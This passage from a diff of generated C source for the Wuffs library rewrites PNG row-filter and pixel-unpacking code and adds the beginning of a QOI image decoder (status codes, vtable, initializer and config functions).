wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); ++ } else { ++ return wuffs_base__make_status(wuffs_png__error__bad_filter); ++ } ++ v_s = v_curr_row; ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); ++ } else { ++ v_x = self->private_impl.f_frame_rect_x0; ++ } ++ if (self->private_impl.f_depth == 8u) { ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { ++ if (self->private_impl.f_color_type == 0u) { ++ if (1u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[0u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[0u]; ++ v_bits_unpacked[3u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } ++ } else { ++ if (3u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[2u]; ++ v_bits_unpacked[1u] = v_s.ptr[1u]; ++ v_bits_unpacked[2u] = v_s.ptr[0u]; ++ v_bits_unpacked[3u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 3u); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } ++ } ++ } else if (v_src_bytes_per_pixel <= ((uint64_t)(v_s.len))) { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__slice_u8__subslice_j(v_s, v_src_bytes_per_pixel)); ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_src_bytes_per_pixel); ++ } ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; ++ } else if (self->private_impl.f_depth < 8u) { ++ v_multiplier = 1u; ++ if (self->private_impl.f_color_type == 0u) { ++ v_multiplier = WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[self->private_impl.f_depth]; + } +- v_curr.len = 0; +- } +- } else { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ v_shift = ((uint8_t)(((uint8_t)(8u - self->private_impl.f_depth)) & 7u)); ++ v_packs_remaining = 0u; ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { ++ v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; ++ v_bits_packed = v_s.ptr[0u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ } ++ v_bits_unpacked[0u] = ((uint8_t)(((uint8_t)(v_bits_packed >> v_shift)) * v_multiplier)); ++ v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); ++ v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { ++ v_bits_unpacked[1u] = v_bits_unpacked[0u]; ++ v_bits_unpacked[2u] = v_bits_unpacked[0u]; ++ v_bits_unpacked[3u] = 255u; ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } else { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); ++ } ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ } else { ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_color_type == 0u) { ++ if (2u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[1u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[1u]; ++ v_bits_unpacked[3u] = v_s.ptr[0u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = 255u; ++ v_bits_unpacked[7u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | ++ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | ++ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | ++ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | ++ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ v_bits_unpacked[4u] = 0u; ++ v_bits_unpacked[5u] = 0u; ++ v_bits_unpacked[6u] = 0u; ++ v_bits_unpacked[7u] = 0u; ++ } ++ } ++ } else if (self->private_impl.f_color_type == 2u) { ++ if (6u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[5u]; ++ v_bits_unpacked[1u] = v_s.ptr[4u]; ++ v_bits_unpacked[2u] = v_s.ptr[3u]; ++ v_bits_unpacked[3u] = v_s.ptr[2u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = 255u; ++ v_bits_unpacked[7u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); ++ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | ++ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | ++ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | ++ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | ++ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ v_bits_unpacked[4u] = 0u; ++ v_bits_unpacked[5u] = 0u; ++ v_bits_unpacked[6u] = 0u; ++ v_bits_unpacked[7u] = 0u; ++ } ++ } ++ } else if (self->private_impl.f_color_type == 4u) { ++ if (4u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[1u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[1u]; ++ v_bits_unpacked[3u] = v_s.ptr[0u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = v_s.ptr[3u]; ++ v_bits_unpacked[7u] = v_s.ptr[2u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ } else { ++ if (8u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[5u]; ++ v_bits_unpacked[1u] = v_s.ptr[4u]; ++ v_bits_unpacked[2u] = v_s.ptr[3u]; ++ v_bits_unpacked[3u] = v_s.ptr[2u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = v_s.ptr[7u]; ++ v_bits_unpacked[7u] = v_s.ptr[6u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ } ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 0; +- v_prev.len = 0; + } ++ v_prev_row = v_curr_row; ++ v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); + } +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_3_distance_4_fallback ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_qoi__error__bad_footer[] = "#qoi: bad footer"; ++const char wuffs_qoi__error__bad_header[] = "#qoi: bad header"; ++const char wuffs_qoi__error__truncated_input[] = "#qoi: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; +- uint8_t v_fa3 = 0; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_src_to_buffer( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_buffer_to_dst( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_qoi__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_qoi__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_qoi__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_qoi__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_qoi__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_qoi__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_qoi__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_qoi__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_qoi__decoder__initialize( ++ wuffs_qoi__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)((v_fa3 / 2u) + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } else { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } + } +- return wuffs_base__make_empty_struct(); ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_4 ++wuffs_qoi__decoder* ++wuffs_qoi__decoder__alloc(void) { ++ wuffs_qoi__decoder* x = ++ (wuffs_qoi__decoder*)(calloc(1, sizeof(wuffs_qoi__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_qoi__decoder__initialize( ++ x, sizeof(wuffs_qoi__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); ++size_t ++sizeof__wuffs_qoi__decoder(void) { ++ return sizeof(wuffs_qoi__decoder); + } + ++// ---------------- Function Implementations ++ ++// -------- func qoi.decoder.get_quirk ++ + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_filter_distance = 0; +- uint64_t v_n = 0; +- uint64_t v_i = 0; +- uint32_t v_fa = 0; +- uint32_t v_fb = 0; +- uint32_t v_fc = 0; +- uint32_t v_pp = 0; +- uint32_t v_pa = 0; +- uint32_t v_pb = 0; +- uint32_t v_pc = 0; ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__get_quirk( ++ const wuffs_qoi__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while ((v_i < v_n) && (v_i < v_filter_distance)) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); +- v_i += 1u; ++ return 0u; ++} ++ ++// -------- func qoi.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__set_quirk( ++ wuffs_qoi__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- v_i = v_filter_distance; +- while (v_i < v_n) { +- v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); +- v_fb = ((uint32_t)(a_prev.ptr[v_i])); +- v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); +- v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); +- v_pa = ((uint32_t)(v_pp - v_fa)); +- if (v_pa >= 2147483648u) { +- v_pa = ((uint32_t)(0u - v_pa)); +- } +- v_pb = ((uint32_t)(v_pp - v_fb)); +- if (v_pb >= 2147483648u) { +- v_pb = ((uint32_t)(0u - v_pb)); +- } +- v_pc = ((uint32_t)(v_pp - v_fc)); +- if (v_pc >= 2147483648u) { +- v_pc = ((uint32_t)(0u - v_pc)); +- } +- if ((v_pa <= v_pb) && (v_pa <= v_pc)) { +- } else if (v_pb <= v_pc) { +- v_fa = v_fb; +- } else { +- v_fa = v_fc; +- } +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); +- v_i += 1u; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func png.decoder.filter_4_distance_3_fallback ++// -------- func qoi.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint32_t v_fa0 = 0; +- uint32_t v_fa1 = 0; +- uint32_t v_fa2 = 0; +- uint32_t v_fb0 = 0; +- uint32_t v_fb1 = 0; +- uint32_t v_fb2 = 0; +- uint32_t v_fc0 = 0; +- uint32_t v_fc1 = 0; +- uint32_t v_fc2 = 0; +- uint32_t v_pp0 = 0; +- uint32_t v_pp1 = 0; +- uint32_t v_pp2 = 0; +- uint32_t v_pa0 = 0; +- uint32_t v_pa1 = 0; +- uint32_t v_pa2 = 0; +- uint32_t v_pb0 = 0; +- uint32_t v_pb1 = 0; +- uint32_t v_pb2 = 0; +- uint32_t v_pc0 = 0; +- uint32_t v_pc1 = 0; +- uint32_t v_pc2 = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end0_curr) { +- 